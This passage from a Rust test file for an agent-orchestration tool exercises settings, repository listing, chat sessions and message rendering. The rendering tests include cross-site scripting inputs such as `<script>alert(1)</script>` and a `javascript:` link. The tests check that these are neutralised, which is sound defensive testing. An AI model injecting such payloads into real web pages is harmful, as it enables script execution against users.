14375            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14376        }
14377        let error = f
14378            .get(&format!("/api/settings?repo={}", broken.display()))
14379            .await;
14380        assert_eq!(error.status, 200);
14381        assert!(error.json()["error"]["message"].is_string());
14382        assert_eq!(error.json()["repositories"], default["repositories"]);
14383    }
14384
14385    #[tokio::test]
14386    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14387        let (_tmp, repo, machine) =
14388            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14389        let f = Fixture::with_repo_and_machine(repo, machine).await;
14390        let res = f.get("/api/settings").await;
14391        assert_eq!(res.status, 200, "{}", res.body);
14392        let v = res.json();
14393        assert!(v["error"].is_null(), "{v}");
14394        let role = |k: &str| {
14395            v["roles"]
14396                .as_array()
14397                .and_then(|r| r.iter().find(|x| x["key"] == k))
14398                .cloned()
14399                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14400        };
14401        assert_eq!(role("judges")["source"], "machine");
14402        assert_eq!(role("judges")["editable"], true);
14403        assert_eq!(role("implementers")["source"], "default");
14404        let adv = role("advisors");
14405        assert_eq!(adv["fallback"], "judges");
14406        assert!(
14407            adv["seats"]
14408                .as_array()
14409                .is_some_and(|s| s.iter().all(|x| x == "b")),
14410            "{adv}"
14411        );
14412        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14413        assert_eq!(v["agents"][0]["source"], "repo");
14414    }
14415
14416    #[tokio::test]
14417    async fn settings_get_reports_a_config_that_does_not_parse() {
14418        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14419        let f = Fixture::with_repo_and_machine(repo, machine).await;
14420        let res = f.get("/api/settings").await;
14421        assert_eq!(res.status, 200, "{}", res.body);
14422        let v = res.json();
14423        assert!(v["error"]["message"].is_string(), "{v}");
14424        assert!(
14425            v["error"]["path"]
14426                .as_str()
14427                .is_some_and(|p| p.ends_with("magi.toml")),
14428            "{v}"
14429        );
14430        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14431    }
14432
14433    #[tokio::test]
14434    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14435        let (_tmp, repo, machine) = settings_dirs(
14436            SETTINGS_AGENTS,
14437            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14438        );
14439        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14440        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14441        let rev = f.get("/api/settings").await.json()["revision"]
14442            .as_str()
14443            .expect("revision")
14444            .to_owned();
14445        let body = serde_json::json!({
14446            "revision": rev,
14447            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14448        })
14449        .to_string();
14450        let res = f.put("/api/settings/roles", &body).await;
14451        assert_eq!(res.status, 200, "{}", res.body);
14452        let text = std::fs::read_to_string(&machine).expect("machine");
14453        assert_eq!(
14454            text,
14455            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14456        );
14457        assert_eq!(
14458            std::fs::read(repo.join("magi.toml")).expect("read"),
14459            repo_before
14460        );
14461        let again = f.get("/api/settings").await.json();
14462        let judges = again["roles"]
14463            .as_array()
14464            .expect("roles")
14465            .iter()
14466            .find(|r| r["key"] == "judges")
14467            .expect("judges")
14468            .clone();
14469        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14470        // The old revision is now stale.
14471        let stale = f.put("/api/settings/roles", &body).await;
14472        assert_eq!(stale.status, 409, "{}", stale.body);
14473    }
14474
14475    #[tokio::test]
14476    async fn settings_counts_are_reported_and_saved() {
14477        let (_tmp, repo, machine) = settings_dirs(
14478            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14479            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14480        );
14481        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14482        let v = f.get("/api/settings").await.json();
14483        let count = |v: &serde_json::Value, k: &str| {
14484            v["roles"]
14485                .as_array()
14486                .and_then(|r| r.iter().find(|x| x["key"] == k))
14487                .map(|x| x["count"].clone())
14488                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14489        };
14490        let imp = count(&v, "implementers");
14491        assert_eq!(imp["value"], 2);
14492        assert_eq!(imp["source"], "machine");
14493        assert_eq!(imp["file_key"], "candidates");
14494        assert_eq!(imp["roster_len"], 2);
14495        assert_eq!(imp["backups"], 0);
14496        assert_eq!(count(&v, "judges")["source"], "default");
14497        assert_eq!(count(&v, "advisors")["min"], 0);
14498        assert_eq!(count(&v, "reviewers")["editable"], false);
14499        assert!(
14500            count(&v, "reviewers")["locked_reason"]
14501                .as_str()
14502                .is_some_and(|m| m.contains("graph.reviewers"))
14503        );
14504        assert!(count(&v, "fixer").is_null());
14505        let rev = v["revision"].as_str().expect("revision").to_owned();
14506        let body = serde_json::json!({
14507            "revision": rev,
14508            "roles": { "judges": ["b"] },
14509            "counts": { "implementers": 1, "advisors": 0 }
14510        })
14511        .to_string();
14512        let res = f.put("/api/settings/roles", &body).await;
14513        assert_eq!(res.status, 200, "{}", res.body);
14514        let text = std::fs::read_to_string(&machine).expect("machine");
14515        assert_eq!(
14516            text,
14517            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14518        );
14519        let after = f.get("/api/settings").await.json();
14520        assert_eq!(count(&after, "implementers")["value"], 1);
14521        assert_eq!(count(&after, "implementers")["backups"], 1);
14522        assert_eq!(count(&after, "advisors")["value"], 0);
14523        let before = std::fs::read_to_string(&machine).expect("machine");
14524        let rev = after["revision"].as_str().expect("revision").to_owned();
14525        for counts in [
14526            serde_json::json!({ "judges": 0 }),
14527            serde_json::json!({ "judges": "x" }),
14528            serde_json::json!({ "judges": 2.5 }),
14529            serde_json::json!({ "judges": -1 }),
14530            serde_json::json!({ "reviewers": 3 }),
14531            serde_json::json!({ "bogus": 3 }),
14532        ] {
14533            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14534            let res = f.put("/api/settings/roles", &body).await;
14535            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14536            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14537        }
14538    }
14539
14540    #[tokio::test]
14541    async fn settings_put_refuses_without_touching_the_file() {
14542        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14543        let (_tmp, repo, machine) = settings_dirs(
14544            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14545            Some(machine_text),
14546        );
14547        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14548        let rev = f.get("/api/settings").await.json()["revision"]
14549            .as_str()
14550            .expect("revision")
14551            .to_owned();
14552        for roles in [
14553            serde_json::json!({ "judges": ["nope"] }),
14554            serde_json::json!({ "reviewers": ["b"] }),
14555            serde_json::json!({ "bogus": ["a"] }),
14556        ] {
14557            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14558            let res = f.put("/api/settings/roles", &body).await;
14559            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14560            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14561            assert_eq!(
14562                std::fs::read_to_string(&machine).expect("machine"),
14563                machine_text
14564            );
14565        }
14566    }
14567
14568    #[tokio::test]
14569    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14570        let tmp = TempDir::new().expect("tempdir");
14571        let repo = tmp.path().join("repo");
14572        std::fs::create_dir_all(&repo).expect("repo dir");
14573        let root = tmp.path().join("root");
14574        make_checkout(&root, "github.com", "yukimemi", "magi");
14575        std::fs::write(
14576            repo.join("magi.toml"),
14577            format!(
14578                "[repos]\nroots = [{:?}]\n",
14579                root.to_string_lossy().into_owned()
14580            ),
14581        )
14582        .expect("write magi.toml");
14583
14584        let f = Fixture::with_repo(repo).await;
14585        let res = f.get("/api/repos").await;
14586        assert_eq!(res.status, 200, "{}", res.body);
14587        let list = res.json();
14588        let repos = list.as_array().expect("an array");
14589        assert_eq!(repos.len(), 1);
14590        assert_eq!(repos[0]["name"], "yukimemi/magi");
14591        assert!(
14592            repos[0]["path"]
14593                .as_str()
14594                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14595            "{list}"
14596        );
14597    }
14598
14599    #[tokio::test]
14600    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14601        let tmp = TempDir::new().expect("tempdir");
14602        let repo = tmp.path().join("repo");
14603        std::fs::create_dir_all(&repo).expect("repo dir");
14604        let root = tmp.path().join("root");
14605        make_checkout(&root, "github.com", "yukimemi", "magi");
14606        std::fs::write(
14607            repo.join("magi.toml"),
14608            format!(
14609                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14610                root.to_string_lossy().into_owned()
14611            ),
14612        )
14613        .expect("write magi.toml");
14614
14615        let f = Fixture::with_repo(repo).await;
14616        let first = f.get("/api/repos").await;
14617        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14618
14619        // A second checkout appears; within the TTL the cached answer must
14620        // not notice it.
14621        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14622        let second = f.get("/api/repos").await;
14623        assert_eq!(
14624            second.json().as_array().map(Vec::len),
14625            Some(1),
14626            "a fresh cache must not rescan inside the TTL"
14627        );
14628
14629        let refreshed = f.get("/api/repos?refresh=1").await;
14630        assert_eq!(
14631            refreshed.json().as_array().map(Vec::len),
14632            Some(2),
14633            "an explicit refresh must rescan even inside the TTL"
14634        );
14635    }
14636
14637    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14638    /// string, declared straight in a repository's own `magi.toml` rather
14639    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14640    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14641    /// this is safe to run over a real HTTP round trip.
14642    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14643
14644    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14645    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14646    /// even though it takes no turn, and `talk_say` invokes one.
14647    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14648        let tmp = TempDir::new().expect("tempdir");
14649        let repo = tmp.path().join("repo");
14650        std::fs::create_dir_all(&repo).expect("repo dir");
14651        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14652        let f = Fixture::with_repo(repo.clone()).await;
14653        (tmp, repo, f)
14654    }
14655
14656    #[tokio::test]
14657    async fn posting_a_talk_with_remembered_choices_is_soft() {
14658        let (_tmp, _repo, f) = talk_fixture().await;
14659
14660        let good = f
14661            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14662            .await;
14663        assert_eq!(good.status, 201, "{}", good.body);
14664        assert_eq!(good.json()["persona"], "rei");
14665
14666        // Wrong values and wrong types are dropped one by one, never a 4xx.
14667        let stale = f
14668            .post(
14669                "/api/talks",
14670                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14671            )
14672            .await;
14673        assert_eq!(stale.status, 201, "{}", stale.body);
14674        let v = stale.json();
14675        assert_eq!(v["implementers"], 1);
14676        assert_ne!(v["persona"], "nobody");
14677        let typed = f
14678            .post(
14679                "/api/talks",
14680                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14681            )
14682            .await;
14683        assert_eq!(typed.status, 201, "{}", typed.body);
14684
14685        // The strict `agent` field still refuses an unknown id.
14686        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14687        assert!(
14688            !strict.status.to_string().starts_with('2'),
14689            "{}",
14690            strict.body
14691        );
14692    }
14693
14694    #[tokio::test]
14695    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14696        let (_tmp, _repo, f) = talk_fixture().await;
14697
14698        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14699        // is the ordinary way a phone opens a talk.
14700        let opened = f.post("/api/talks", None).await;
14701        assert_eq!(opened.status, 201, "{}", opened.body);
14702        let body = opened.json();
14703        assert_eq!(body["status"], "open");
14704        assert_eq!(
14705            body["turns"].as_array().unwrap().len(),
14706            0,
14707            "opening takes no agent turn: there is nothing yet to answer"
14708        );
14709
14710        // An explicit empty object is the same request as none at all.
14711        let also_opened = f.post("/api/talks", Some("{}")).await;
14712        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14713
14714        let listed = f.get("/api/talks").await.json();
14715        assert_eq!(listed.as_array().unwrap().len(), 2);
14716    }
14717
14718    #[tokio::test]
14719    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14720        let tmp = TempDir::new().expect("tempdir");
14721        let repo = tmp.path().join("repo");
14722        std::fs::create_dir_all(&repo).expect("repo dir");
14723        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14724        std::fs::write(
14725            repo.join("magi.toml"),
14726            format!("{MOCK_AGENT_TOML}\n{second}"),
14727        )
14728        .expect("write magi.toml");
14729        let home = TempDir::new().expect("temp home");
14730        let talks = Talks::at(home.path().join("talks"));
14731        let ui = Arc::new(
14732            Ui::new(
14733                Queue::at(home.path().join("queue")),
14734                Questions::at(home.path().join("questions")),
14735                talks.clone(),
14736                home.path().join("runs"),
14737                home.path().to_path_buf(),
14738                repo.clone(),
14739            )
14740            .with_worktrees_root(home.path().join("wt")),
14741        );
14742        let cfg = config_for(&repo).await.expect("discover config");
14743        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14744        let id = talk.id.clone();
14745        let call = |agent: &str| {
14746            talk_agent(
14747                State(Arc::clone(&ui)),
14748                Path(id.clone()),
14749                Json(TalkAgent {
14750                    agent: agent.to_owned(),
14751                }),
14752            )
14753        };
14754
14755        let unknown = call("nobody").await.expect_err("unknown agent");
14756        assert_eq!(
14757            unknown.status,
14758            StatusCode::BAD_REQUEST,
14759            "{}",
14760            unknown.message
14761        );
14762
14763        {
14764            // Nothing refused so far took a claim, so the guard is free to take
14765            // and holding it is what makes the talk busy.
14766            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14767            let busy = call("second").await.expect_err("busy talk");
14768            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14769            assert!(
14770                busy.message.contains("a talk turn is running"),
14771                "{}",
14772                busy.message
14773            );
14774            drop(guard);
14775        }
14776        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14777
14778        let Json(view) = call("second").await.expect("switch");
14779        assert_eq!(view.talk.agent, "second");
14780        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14781        let saved = talks.get(&id).expect("reload");
14782        assert_eq!(saved.agent, "second");
14783        assert_eq!(saved.turns.len(), 1);
14784        assert!(!view.thinking);
14785        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14786        for agent in ["mock", "second"] {
14787            let Json(view) = call(agent).await.expect("immediate consecutive change");
14788            assert_eq!(view.talk.agent, agent);
14789            assert!(!view.thinking);
14790            assert!(!ui.is_thinking(&id));
14791        }
14792
14793        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14794            .await
14795            .expect("detail");
14796        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14797        assert_eq!(roster, ["mock", "second"]);
14798
14799        let mut closed = talks.get(&id).expect("reload");
14800        talk::close(&mut closed, &talks).expect("close");
14801        let refused = call("mock").await.expect_err("closed talk");
14802        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14803        assert!(
14804            refused.message.contains("takes no more turns"),
14805            "{}",
14806            refused.message
14807        );
14808    }
14809
14810    #[tokio::test]
14811    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14812        let tmp = TempDir::new().expect("tempdir");
14813        let repo = tmp.path().join("repo");
14814        std::fs::create_dir_all(&repo).expect("repo dir");
14815        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14816        let home = TempDir::new().expect("temp home");
14817        let talks = Talks::at(home.path().join("talks"));
14818        let ui = Arc::new(
14819            Ui::new(
14820                Queue::at(home.path().join("queue")),
14821                Questions::at(home.path().join("questions")),
14822                talks.clone(),
14823                home.path().join("runs"),
14824                home.path().to_path_buf(),
14825                repo.clone(),
14826            )
14827            .with_worktrees_root(home.path().join("wt")),
14828        );
14829        let cfg = config_for(&repo).await.expect("discover config");
14830        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14831        let id = talk.id.clone();
14832        let call = |n: u8| {
14833            talk_implementers(
14834                State(Arc::clone(&ui)),
14835                Path(id.clone()),
14836                Json(TalkImplementers { implementers: n }),
14837            )
14838        };
14839
14840        for bad in [0u8, 4] {
14841            let e = call(bad).await.expect_err("out of range");
14842            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14843        }
14844        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14845
14846        {
14847            // Nothing refused so far took a claim, so the guard is free to take
14848            // and holding it is what makes the talk busy.
14849            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14850            let busy = call(2).await.expect_err("busy talk");
14851            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14852            assert!(
14853                busy.message.contains("a talk turn is running"),
14854                "{}",
14855                busy.message
14856            );
14857            drop(guard);
14858        }
14859
14860        let Json(view) = call(3).await.expect("switch");
14861        assert_eq!(view.talk.implementers, 3);
14862        assert!(talks.get(&id).expect("reload").implementers_dirty);
14863        assert!(!view.thinking);
14864        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14865        for n in [1, 2, 3] {
14866            let Json(view) = call(n).await.expect("immediate consecutive change");
14867            assert_eq!(view.talk.implementers, n);
14868            assert!(!view.thinking);
14869            assert!(!ui.is_thinking(&id));
14870        }
14871
14872        let mut closed = talks.get(&id).expect("reload");
14873        talk::close(&mut closed, &talks).expect("close");
14874        let e = call(2).await.expect_err("closed talk");
14875        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14876        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14877    }
14878
14879    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14880    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14881        let tmp = TempDir::new().expect("tempdir");
14882        let repo = tmp.path().join("repo");
14883        std::fs::create_dir_all(&repo).expect("repo dir");
14884        std::fs::write(
14885            repo.join("magi.toml"),
14886            format!("{MOCK_AGENT_TOML}\n{extra}"),
14887        )
14888        .expect("write magi.toml");
14889        let home = TempDir::new().expect("temp home");
14890        let talks = Talks::at(home.path().join("talks"));
14891        let ui = Arc::new(
14892            Ui::new(
14893                Queue::at(home.path().join("queue")),
14894                Questions::at(home.path().join("questions")),
14895                talks.clone(),
14896                home.path().join("runs"),
14897                home.path().to_path_buf(),
14898                repo.clone(),
14899            )
14900            .with_worktrees_root(home.path().join("wt")),
14901        );
14902        let cfg = config_for(&repo).await.expect("discover config");
14903        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14904        (tmp, home, ui, talk.id, repo)
14905    }
14906
14907    #[tokio::test]
14908    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14909        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14910        let mut conversation = ui.talks.get(&id).unwrap();
14911        talk::record(
14912            &mut conversation,
14913            &ui.talks,
14914            "# Update on a task you filed\noperator words",
14915            vec![],
14916        )
14917        .unwrap();
14918        // Simulate an old operator record; headings do not prove authorship.
14919        conversation.turns[0].sender = None;
14920        conversation.turns[0].messages.clear();
14921        ui.talks.put(&mut conversation).unwrap();
14922        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14923        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14924        talk::drain(&mut conversation, &ui.talks).unwrap();
14925        talk::record_reply(
14926            &mut conversation,
14927            &ui.talks,
14928            "about that report",
14929            vec![],
14930            Some(talk::ReplyTarget {
14931                turn: 1,
14932                message: 1,
14933            }),
14934        )
14935        .unwrap();
14936        conversation.turns[2].messages[0]
14937            .reply
14938            .as_mut()
14939            .unwrap()
14940            .sender = None;
14941        conversation.turns.push(talk::Turn {
14942            sender: Some(talk::Sender::Persona),
14943            who: talk::Who::Agent,
14944            body: "magi: actual persona words".into(),
14945            at: Timestamp::now(),
14946            attachments: vec![],
14947            usage: None,
14948            breaks: None,
14949            messages: vec![],
14950            posted_by: None,
14951        });
14952        ui.talks.put(&mut conversation).unwrap();
14953        let view = TalkView::with_config(
14954            ui.talks.get(&id).unwrap(),
14955            false,
14956            None,
14957            &ui.home,
14958            &ui.references,
14959        );
14960        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14961        assert_eq!(
14962            view.talk.turns[1].messages[0].sender,
14963            Some(talk::Sender::Operator)
14964        );
14965        assert_eq!(
14966            view.talk.turns[1].messages[1].sender,
14967            Some(talk::Sender::Magi)
14968        );
14969        assert_eq!(
14970            view.talk.turns[2].messages[0]
14971                .reply
14972                .as_ref()
14973                .unwrap()
14974                .sender,
14975            Some(talk::Sender::Magi)
14976        );
14977        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14978        assert_eq!(view.turn_messages_md[0].len(), 1);
14979        assert!(view.turn_messages_md[0][0].is_none());
14980        assert!(view.turn_messages_md[1][0].is_none());
14981        assert!(view.turn_messages_md[1][1].is_some());
14982    }
14983
14984    #[tokio::test]
14985    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14986        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14987        let mut conversation = ui.talks.get(&id).unwrap();
14988        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14989        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14990        talk::queue_notice(
14991            &mut conversation,
14992            &ui.talks,
14993            &body,
14994            "watch:123",
14995            &|_| false,
14996            None,
14997            display.clone(),
14998        )
14999        .unwrap();
15000        assert!(
15001            !talk::queue_notice(
15002                &mut conversation,
15003                &ui.talks,
15004                &body,
15005                "watch:123",
15006                &|_| false,
15007                None,
15008                display.clone()
15009            )
15010            .unwrap()
15011        );
15012        let saved = ui.talks.get(&id).unwrap();
15013        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15014        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15015        assert!(
15016            view.talk.turns[0].messages[0].display.is_none(),
15017            "operator copy stays literal"
15018        );
15019        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15020        assert!(view.turn_messages_md[0][0].is_none());
15021        let queued_md = view.pending_messages_md[0].clone();
15022        assert_eq!(
15023            queued_md,
15024            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15025        );
15026        talk::drain(&mut conversation, &ui.talks).unwrap();
15027        talk::record_reply(
15028            &mut conversation,
15029            &ui.talks,
15030            "Explain",
15031            vec![],
15032            Some(talk::ReplyTarget {
15033                turn: 1,
15034                message: 0,
15035            }),
15036        )
15037        .unwrap();
15038        let mut saved = ui.talks.get(&id).unwrap();
15039        assert_eq!(saved.turns[1].messages[0].body, body);
15040        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15041        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15042        assert!(!reply.excerpt.contains("automatic report"));
15043        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15044        saved.turns[1].messages[0].display = None; // old MAGI send
15045        ui.talks.put(&mut saved).unwrap();
15046        let view = TalkView::with_config(
15047            ui.talks.get(&id).unwrap(),
15048            false,
15049            None,
15050            &ui.home,
15051            &ui.references,
15052        );
15053        assert_eq!(view.turn_messages_md[1][0], queued_md);
15054        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15055        assert!(
15056            !view.talk.turns[2].messages[0]
15057                .reply
15058                .as_ref()
15059                .unwrap()
15060                .excerpt
15061                .contains("automatic report")
15062        );
15063        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15064    }
15065
15066    #[tokio::test]
15067    async fn consultation_display_hides_directives_in_queue_and_history() {
15068        for node in [
15069            "implement",
15070            crate::land::APPROVAL_NODE,
15071            crate::github_text::ASK_NODE,
15072        ] {
15073            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15074            let mut question = Question::new(
15075                "run-123".into(),
15076                node.into(),
15077                "seat-1".into(),
15078                "Which backend?".into(),
15079                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15080                vec!["SQLite".into(), "Redis".into()],
15081            );
15082            ui.questions.put(&mut question).unwrap();
15083            let body = crate::prompt::chat_consult(&question);
15084            let mut conversation = ui.talks.get(&id).unwrap();
15085            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15086            assert!(
15087                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15088            );
15089            conversation = ui.talks.get(&id).unwrap();
15090            assert_eq!(conversation.pending_messages[0].body, body);
15091            assert!(body.contains("magi answer"));
15092            let mut legacy_pending = conversation.clone();
15093            legacy_pending.pending_messages[0].display = None;
15094            let legacy_view =
15095                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15096            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15097            assert!(legacy_md.contains("Question consultation"));
15098            assert!(!legacy_md.contains("magi answer"));
15099            let view =
15100                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15101            assert!(
15102                view.turn_messages_md[0][0].is_none(),
15103                "operator copy stays literal"
15104            );
15105            let queued_md = view.pending_messages_md[0].clone().unwrap();
15106            let rendered = serde_json::to_string(&queued_md).unwrap();
15107            for visible in [
15108                "Which backend?",
15109                "Context",
15110                "storage",
15111                "SQLite",
15112                "Redis",
15113                "<script>literal</script>",
15114            ] {
15115                assert!(rendered.contains(visible), "missing {visible}");
15116            }
15117            for directive in [
15118                "What to do",
15119                "magi answer",
15120                "Never answer it yourself",
15121                "Do not edit the repository",
15122            ] {
15123                assert!(!rendered.contains(directive), "exposed {directive}");
15124            }
15125            assert_eq!(
15126                view.talk.pending_messages[0].display,
15127                Some(crate::prompt::chat_consult_display(&question))
15128            );
15129            talk::drain(&mut conversation, &ui.talks).unwrap();
15130            let view =
15131                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15132            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15133            assert_eq!(conversation.turns[1].messages[0].body, body);
15134
15135            // Historical consultations lack a snapshot: show a safe placeholder
15136            // rather than parsing instructions or reconstructing mutable facts.
15137            conversation.turns[1].messages[0].display = None;
15138            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15139            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15140            assert!(legacy.contains("Question consultation"));
15141            assert!(!legacy.contains("magi answer"));
15142            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15143        }
15144    }
15145
15146    #[test]
15147    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15148        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15149        let (body, mut display) =
15150            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15151        display.facts = facts.into();
15152        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15153        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15154        let json = serde_json::to_string(&nodes).unwrap();
15155        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15156            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15157        }
15158        assert!(json.contains("<script>alert(1)</script>"));
15159        assert!(!json.contains("javascript:"));
15160        assert!(!json.contains("Tell the operator"));
15161        assert!(!json.contains("untrusted"));
15162        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15163        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15164        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15165        assert_eq!(
15166            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15167            md::to_nodes("# Status", &md::ImageBase::None),
15168        );
15169    }
15170
15171    #[tokio::test]
15172    async fn notification_display_recovers_exact_legacy_completion_references() {
15173        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15174        let mut conversation = ui.talks.get(&id).unwrap();
15175        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15176            id: "task-123",
15177            title: "Change",
15178            status: "done",
15179            reason: None,
15180            run: Some("run-123"),
15181            pr: None,
15182            summary: Some("Merge state unknown"),
15183        });
15184        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15185        conversation.turns[0].sender = None;
15186        conversation.turns[0].messages.clear();
15187        conversation.turns[0].breaks = None;
15188        conversation.pending = body.clone();
15189        conversation
15190            .completion_notices
15191            .push(crate::chat_notify::CompletionReference {
15192                task: "task-123".into(),
15193                run: Some("run-123".into()),
15194                notice: body.clone(),
15195            });
15196        ui.talks.put(&mut conversation).unwrap();
15197        let view = TalkView::with_config(
15198            ui.talks.get(&id).unwrap(),
15199            false,
15200            None,
15201            &ui.home,
15202            &ui.references,
15203        );
15204        assert_eq!(
15205            view.talk.turns[0].messages[0].display,
15206            Some(display.clone())
15207        );
15208        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15209        assert_eq!(
15210            view.talk.turns[0].messages[0].sender,
15211            Some(talk::Sender::Magi)
